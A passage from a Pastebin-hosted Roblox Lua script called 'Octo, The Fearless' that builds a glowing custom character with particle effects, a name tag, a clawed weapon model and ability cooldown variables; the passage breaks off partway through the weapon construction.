Advertisement
CHARA-SCRIPTER

Octo, The Fearless

Jan 18th, 2018
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 243.29 KB | None | 0 0
  1. paly = game.Players.LocalPlayer
  2. Player = game:GetService("Players").LocalPlayer
  3. p = game.Players.LocalPlayer
  4. char = paly.Character
  5. vt = Vector3.new
  6. rarm = char["Right Arm"]
  7. hed = char.Head
  8. larm = char["Left Arm"]
  9. rleg = char["Right Leg"]
  10. lleg = char["Left Leg"]
  11. local maincolor = BrickColor.random()
  12. local effolemode = false
  13. local wrathmode = false
  14. local noobmode = false
  15. local randomname = "???"
  16. local randomnamefem = "???"
  17. local randomchanger = 6
  18. if paly.Name == "BINO2002" then
  19. randomchanger = 6
  20. end
  21. if randomchanger == 6 then
  22. randomnamefem = "Octo, The Fearless"
  23. effolemode = true
  24. maincolor = BrickColor.new("Electric blue")
  25.  
  26. local eye12 = Instance.new("Part")
  27. eye12.Parent = char
  28. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  29. eye12.Archivable = true
  30. eye12.Transparency = 0
  31. eye12.Shape = "Ball"
  32. eye12.BrickColor = maincolor
  33. eye12.Material = "Neon"
  34. eye12.CanCollide = false
  35. local mesh2 = Instance.new("SpecialMesh",eye12)
  36. mesh2.MeshType = "Sphere"
  37. mesh2.Scale = Vector3.new(0.75, 1, 1)
  38. local weld1en2 = Instance.new("Weld")
  39. weld1en2.Parent = hed
  40. weld1en2.Part0 = hed
  41. weld1en2.Part1 = eye12
  42. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  43. local eye1 = Instance.new("Part")
  44. eye1.Parent = char
  45. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  46. eye1.Archivable = true
  47. eye1.Transparency = 0
  48. eye1.Shape = "Ball"
  49. eye1.BrickColor = maincolor
  50. eye1.Material = "Neon"
  51. eye1.CanCollide = false
  52. local mesh = Instance.new("SpecialMesh",eye1)
  53. mesh.MeshType = "Sphere"
  54. mesh.Scale = Vector3.new(0.75, 1, 1)
  55. local weld1en = Instance.new("Weld")
  56. weld1en.Parent = hed
  57. weld1en.Part0 = hed
  58. weld1en.Part1 = eye1
  59. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  60.  
  61. local BC = char["Body Colors"]
  62. BC.HeadColor = BrickColor.new("Pastel brown")
  63. BC.LeftArmColor = BrickColor.new("Pastel brown")
  64. BC.LeftLegColor = BrickColor.new("Pastel brown")
  65. BC.RightArmColor = BrickColor.new("Pastel brown")
  66. BC.RightLegColor = BrickColor.new("Pastel brown")
  67. BC.TorsoColor = BrickColor.new("Pastel brown")
  68.  
  69. local orbe = Instance.new("Part")
  70. orbe.Parent = char
  71. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  72. orbe.Archivable = true
  73. orbe.Transparency = 1
  74. orbe.BrickColor = maincolor
  75. orbe.Material = "Neon"
  76. orbe.CanCollide = false
  77. local weld1e = Instance.new("Weld")
  78. weld1e.Parent = rleg
  79. weld1e.Part0 = rleg
  80. weld1e.Part1 = orbe
  81. weld1e.C1 = CFrame.new(0, 1.125, 0)
  82. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  83. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  84. local effectoe = Instance.new("ParticleEmitter",orbe)
  85. effectoe.LightEmission = 1
  86. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  87. effectoe.Color = ColorSequence.new(maincolor.Color)
  88. effectoe.Rate = 10000
  89. effectoe.Lifetime = NumberRange.new(1)
  90. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  91. effectoe.Speed = NumberRange.new(0,0)
  92. effectoe.RotSpeed = NumberRange.new(100,100)
  93.  
  94. local orbze = Instance.new("Part")
  95. orbze.Parent = char
  96. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  97. orbze.Archivable = true
  98. orbze.Transparency = 1
  99. orbze.BrickColor = maincolor
  100. orbze.Material = "Neon"
  101. orbze.CanCollide = false
  102. local weldz1 = Instance.new("Weld")
  103. weldz1.Parent = lleg
  104. weldz1.Part0 = lleg
  105. weldz1.Part1 = orbze
  106. weldz1.C1 = CFrame.new(0, 1.125, 0)
  107. local effectone = Instance.new("ParticleEmitter",orbze)
  108. effectone.LightEmission = 1
  109. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  110. effectone.Color = ColorSequence.new(maincolor.Color)
  111. effectone.Rate = 10000
  112. effectone.Lifetime = NumberRange.new(1)
  113. effectone.Size = NumberSequence.new({pt1e,pt2e})
  114. effectone.Speed = NumberRange.new(0,0)
  115. effectone.RotSpeed = NumberRange.new(100,100)
  116. end
  117.  
  118. if effolemode == true then
  119. maincolor = BrickColor.new("Electric blue")
  120. end
  121.  
  122. local orb = Instance.new("Part")
  123. orb.Parent = char
  124. orb.Size = Vector3.new(1, 1, 1)
  125. orb.Archivable = true
  126. orb.Transparency = 1
  127. orb.BrickColor = BrickColor.new("Bright blue")
  128. orb.Material = "Wood"
  129. orb.CanCollide = false
  130. local weld1 = Instance.new("Weld")
  131. weld1.Parent = rarm
  132. weld1.Part0 = rarm
  133. weld1.Part1 = orb
  134. weld1.C1 = CFrame.new(0, 1.125, 0)
  135. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  136. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  137. local effecto = Instance.new("ParticleEmitter",orb)
  138. effecto.LightEmission = 1
  139. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  140. effecto.Color = ColorSequence.new(maincolor.Color)
  141. effecto.Rate = 10000
  142. effecto.Lifetime = NumberRange.new(1)
  143. effecto.Size = NumberSequence.new({pt1,pt2})
  144. effecto.Speed = NumberRange.new(0,0)
  145. effecto.RotSpeed = NumberRange.new(100,100)
  146.  
  147. local orbz = Instance.new("Part")
  148. orbz.Parent = char
  149. orbz.Size = Vector3.new(1, 1, 1)
  150. orbz.Archivable = true
  151. orbz.Transparency = 1
  152. orbz.BrickColor = BrickColor.new("Bright blue")
  153. orbz.Material = "Wood"
  154. orbz.CanCollide = false
  155. local weldz1 = Instance.new("Weld")
  156. weldz1.Parent = larm
  157. weldz1.Part0 = larm
  158. weldz1.Part1 = orbz
  159. weldz1.C1 = CFrame.new(0, 1.125, 0)
  160. local effecton = Instance.new("ParticleEmitter",orbz)
  161. effecton.LightEmission = 1
  162. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  163. effecton.Color = ColorSequence.new(maincolor.Color)
  164. effecton.Rate = 10000
  165. effecton.Lifetime = NumberRange.new(1)
  166. effecton.Size = NumberSequence.new({pt1,pt2})
  167. effecton.Speed = NumberRange.new(0,0)
  168. effecton.RotSpeed = NumberRange.new(100,100)
  169.  
  170.  
  171. p = game.Players.LocalPlayer
  172. char = p.Character
  173. torso = char.Torso
  174. neck = char.Torso.Neck
  175. hum = char.Humanoid
  176. hum.MaxHealth = 1000000000000
  177. wait()
  178. hum.Health =hum.MaxHealth
  179.  
  180. CV="Electric blue"
  181.  
  182. local txt = Instance.new("BillboardGui", char)
  183. txt.Adornee = char .Head
  184. txt.Name = "_status"
  185. txt.Size = UDim2.new(2, 0, 1.2, 0)
  186. txt.StudsOffset = Vector3.new(-9, 8, 0)
  187. local text = Instance.new("TextLabel", txt)
  188. text.Size = UDim2.new(10, 0, 7, 0)
  189. text.FontSize = "Size24"
  190. text.TextScaled = true
  191. text.TextTransparency = 0
  192. text.BackgroundTransparency = 1
  193. text.TextTransparency = 0
  194. text.TextStrokeTransparency = 0
  195. text.Font = "SciFi"
  196. text.TextStrokeColor3 = Color3.new(0,0,0)
  197.  
  198. v=Instance.new("Part")
  199. v.Name = "ColorBrick"
  200. v.Parent=p.Character
  201. v.FormFactor="Symmetric"
  202. v.Anchored=true
  203. v.CanCollide=false
  204. v.BottomSurface="Smooth"
  205. v.TopSurface="Smooth"
  206. v.Size=Vector3.new(10,5,3)
  207. v.Transparency=1
  208. v.CFrame=char.Torso.CFrame
  209. v.BrickColor=BrickColor.new(CV)
  210. v.Transparency=1
  211. text.TextColor3 = BrickColor.new("Electric blue").Color
  212. v.Shape="Block"
  213. text.Text = "Octo, The Fearless"
  214.  
  215.  
  216. euler = CFrame.fromEulerAnglesXYZ
  217. angles = CFrame.Angles
  218. local player = "LocalPlayer"
  219. local Character = game.Players[player].Character
  220. it = Instance.new
  221. vt = Vector3.new
  222. bc = BrickColor.new
  223. cf = CFrame.new
  224. mr = math.rad
  225. local Weapon = {}
  226. local p = game.Players.LocalPlayer
  227. local char = p.Character
  228. local mouse = p:GetMouse()
  229. local larm = char["Left Arm"]
  230. local rarm = char["Right Arm"]
  231. local lleg = char["Left Leg"]
  232. local rleg = char["Right Leg"]
  233. local hed = char.Head
  234. local torso = char.Torso
  235. local hum = char.Humanoid
  236. local cam = game.Workspace.CurrentCamera
  237. local root = char.HumanoidRootPart
  238. local deb = false
  239. local shot = 0
  240.  
  241. local debris=game:service"Debris"
  242. local l = game:GetService("Lighting")
  243. local rs = game:GetService("RunService").RenderStepped
  244. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  245. math.randomseed(os.time())
  246. for i,v in pairs (hed:GetChildren()) do
  247. if v:IsA("Sound") then
  248. v:Destroy()
  249. end
  250. end
  251. ---------------------------------------------------- BeastClaw
  252. NoOutline = function(Part)
  253. Part.TopSurface = 10
  254. end
  255. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  256. local fp = it("Part")
  257. fp.formFactor = formfactor
  258. fp.Parent = parent
  259. fp.Reflectance = reflectance
  260. fp.Transparency = transparency
  261. fp.CanCollide = false
  262. fp.Locked = true
  263. fp.BrickColor = brickcolor
  264. fp.Name = name
  265. fp.Size = size
  266. NoOutline(fp)
  267. fp.Material = "Neon"
  268. fp:BreakJoints()
  269. return fp
  270. end
  271. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  272. local mesh = it(Mesh)
  273. mesh.Parent = part
  274. if Mesh == "SpecialMesh" then
  275. mesh.MeshType = meshtype
  276. if meshid ~= "nil" then
  277. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  278. end
  279. end
  280. mesh.Offset = offset
  281. mesh.Scale = scale
  282. return mesh
  283. end
  284. weld = function(parent, part0, part1, c0)
  285. local weld = it("Motor6D")
  286. weld.Parent = parent
  287. weld.Part0 = part0
  288. weld.Part1 = part1
  289. weld.C0 = c0
  290. return weld
  291. end
  292. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  293. local gui = it(GuiType)
  294. gui.Parent = parent
  295. gui.BackgroundTransparency = backtrans
  296. gui.BackgroundColor3 = backcol
  297. gui.SizeConstraint = "RelativeXY"
  298. gui.Position = pos
  299. gui.Size = size
  300. if GuiType == "TextLabel" then
  301. gui.Text = text
  302. gui.TextXAlignment = "Center"
  303. gui.TextYAlignment = "Center"
  304. gui.Font = "SourceSans"
  305. gui.FontSize = "Size14"
  306. gui.TextWrapped = false
  307. gui.TextStrokeTransparency = 0
  308. gui.TextColor = TorsoColor
  309. else
  310. if GuiType == "ImageLabel" then
  311. gui.Image = "rbxassetid://" .. image
  312. gui.ImageColor3 = backcol
  313. end
  314. end
  315. return gui
  316. end
  317. local handle = nil
  318. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  319. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  320. prt.Material = neon
  321. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  322. wld = weld(handle, prt, wldpar, ceef)
  323. v = it("NumberValue", prt)
  324. v.Value = trans
  325. v.Name = "MainTransparency"
  326. return prt, msh, wld
  327. end
  328. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  329. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  330. prt.Material = neon
  331. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  332. wld = weld(wldpare, prt, wldpar, ceef)
  333. v = it("NumberValue", prt)
  334. v.Value = trans
  335. v.Name = "MainTransparency"
  336. return prt, msh, wld
  337. end
  338. local modelzorzez = Instance.new("Model")
  339. modelzorzez.Parent = workspace.CurrentCamera
  340. modelzorzez.Name = "none"
  341. local Torso = Character.Torso
  342. local LeftArm = Character["Left Arm"]
  343. local RightArm = Character["Right Arm"]
  344. local LeftLeg = Character["Left Leg"]
  345. local RightLeg = Character["Right Leg"]
  346. local Head = Character.Head
  347. local RootPart = Character.HumanoidRootPart
  348. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Crimson"), "Handle", vt())
  349. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  350.  
  351. -- SAHHHH DUUDEEE
  352.  
  353.  
  354.  
  355.  
  356. -- params : ...
  357.  
  358. wait(0.016666666666667)
  359. script.Archivable = false
  360. Effects = {}
  361. local Player = game.Players.localPlayer
  362. local Character = Player.Character
  363. local Humanoid = Character.Humanoid
  364. local mouse = Player:GetMouse()
  365. local m = Instance.new("Model", Character)
  366. m.Name = "WeaponModel"
  367. local effect = Instance.new("Model", Character)
  368. effect.Name = "effecsfsafzx"
  369. local demon = Instance.new("Model", Character)
  370. demon.Name = "demdemd"
  371. local LeftArm = Character["Left Arm"]
  372. local RightArm = Character["Right Arm"]
  373. local LeftLeg = Character["Left Leg"]
  374. local RightLeg = Character["Right Leg"]
  375. local do2target = nil
  376. local Head = Character.Head
  377. local Torso = Character.Torso
  378. TorsoColor = BrickColor.new("Electric blue")
  379. z = Instance.new("Sound", Torso)
  380. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  381. z.Looped = true
  382. z.Pitch = 0
  383. z.Volume = 0
  384. wait(.1)
  385. z:Play()
  386. local cam = game.Workspace.CurrentCamera
  387. local RootPart = Character.HumanoidRootPart
  388. local RootJoint = RootPart.RootJoint
  389. local equipped = false
  390. local attack = false
  391. local Anim = "Idle"
  392. local idle = 0
  393. local attacktype = 1
  394. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  395. local velocity = RootPart.Velocity.y
  396. local sine = 0
  397. local change = 1
  398. local mana = 0
  399. local it = Instance.new
  400. vt = Vector3.new
  401. local grabbed = false
  402. local cf = CFrame.new
  403. local mr = math.rad
  404. local angles = CFrame.Angles
  405. local ud = UDim2.new
  406. local c3 = Color3.new
  407. clerp = function(a, b, t)
  408.  
  409. return a:lerp(b, t)
  410. end
  411.  
  412. local RbxUtility = LoadLibrary("RbxUtility")
  413. local Create = RbxUtility.Create
  414. RemoveOutlines = function(part)
  415.  
  416. part.TopSurface = 10
  417. end
  418.  
  419. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  420.  
  421. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  422. RemoveOutlines(Part)
  423. return Part
  424. end
  425.  
  426. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  427.  
  428. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  429. if Mesh == "SpecialMesh" then
  430. Msh.MeshType = MeshType
  431. Msh.MeshId = MeshId
  432. end
  433. return Msh
  434. end
  435.  
  436. local co1 = 3
  437. local co2 = 10
  438. local co3 = 15
  439. local co4 = 30
  440. local cooldown1 = 0
  441. local cooldown2 = 0
  442. local cooldown3 = 0
  443. local cooldown4 = 0
  444. local maxEnergy = 100
  445. local Energy = 0
  446. local skill1stam = 1000
  447. local skill2stam = 1000
  448. local skill3stam = 1000
  449. local skill4stam = 1000
  450. local recovermana = 5
  451. local skillcolorscheme = BrickColor.new("Crimson").Color
  452. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  453. makeframe = function(par, trans, pos, size, color)
  454.  
  455. local frame = Instance.new("Frame", par)
  456. frame.BackgroundTransparency = trans
  457. frame.BorderSizePixel = 0
  458. frame.Position = pos
  459. frame.Size = size
  460. frame.BackgroundColor3 = color
  461. return frame
  462. end
  463.  
  464. makelabel = function(par, text)
  465.  
  466. local label = Instance.new("TextLabel", par)
  467. label.BackgroundTransparency = 1
  468. label.Size = UDim2.new(1, 0, 1, 0)
  469. label.Position = UDim2.new(0, 0, 0, 0)
  470. label.TextColor3 = Color3.new(255, 255, 255)
  471. label.TextStrokeTransparency = 0
  472. label.FontSize = Enum.FontSize.Size32
  473. label.Font = Enum.Font.SourceSansLight
  474. label.BorderSizePixel = 0
  475. label.TextScaled = true
  476. label.Text = text
  477. end
  478.  
  479. ArtificialHB = Instance.new("BindableEvent", script)
  480. ArtificialHB.Name = "Heartbeat"
  481. script:WaitForChild("Heartbeat")
  482. frame = 0.033333333333333
  483. tf = 0
  484. allowframeloss = false
  485. tossremainder = false
  486. lastframe = tick()
  487. script.Heartbeat:Fire()
  488. game:GetService("RunService").Heartbeat:connect(function(s, p)
  489.  
  490. tf = tf + s
  491. if frame <= tf then
  492. if allowframeloss then
  493. script.Heartbeat:Fire()
  494. lastframe = tick()
  495. else
  496. for i = 1, math.floor(tf / frame) do
  497. script.Heartbeat:Fire()
  498. end
  499. lastframe = tick()
  500. end
  501. if tossremainder then
  502. tf = 0
  503. else
  504. tf = tf - frame * math.floor(tf / frame)
  505. end
  506. end
  507. end
  508. )
  509. swait = function(num)
  510.  
  511. if num == 0 or num == nil then
  512. ArtificialHB.Event:wait()
  513. else
  514. for i = 0, num do
  515. ArtificialHB.Event:wait()
  516. end
  517. end
  518. end
  519.  
  520. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  521.  
  522. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  523. return Weld
  524. end
  525.  
  526. rayCast = function(Position, Direction, Range, Ignore)
  527.  
  528. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  529. end
  530.  
  531. CreateSound = function(id, par, vol, pit)
  532.  
  533. coroutine.resume(coroutine.create(function()
  534.  
  535. local sou = Instance.new("Sound", par or workspace)
  536. sou.Volume = vol
  537. sou.Pitch = pit or 1
  538. sou.SoundId = id
  539. swait()
  540. sou:play()
  541. game:GetService("Debris"):AddItem(sou, 6)
  542. end
  543. ))
  544. end
  545.  
  546. local getclosest = function(obj, distance)
  547.  
  548. local last, lastx = distance + 1, nil
  549. for i,v in pairs(workspace:GetChildren()) do
  550. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  551. local t = v.Torso
  552. local dist = t.Position - obj.Position.magnitude
  553. if dist <= distance and dist < last then
  554. last = dist
  555. lastx = v
  556. end
  557. end
  558. end
  559. return lastx
  560. end
  561.  
  562. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  563.  
  564. if PartType == "Part" then
  565. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  566. RemoveOutlines(Part)
  567. return Part
  568. else
  569. do
  570. if PartType == "WedgePart" then
  571. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  572. RemoveOutlines(Part)
  573. return Part
  574. end
  575. end
  576. end
  577. end
  578.  
  579. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  580. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  581. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  582. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  583. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  584. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  585. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  586. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  587. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  588. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  589. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  590. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  591. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  592. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  593. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  594. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  595. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  596. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  597. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  598. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  599. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  600. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  601. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  602. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  603. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  604. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  605. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  606. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  607. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  608. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  609. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  610. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  611. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  612. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  613. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  614. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  615. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  616. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  617. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  618. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  619. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  620. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  621. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  622. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  623. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  624. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  625. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  626. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
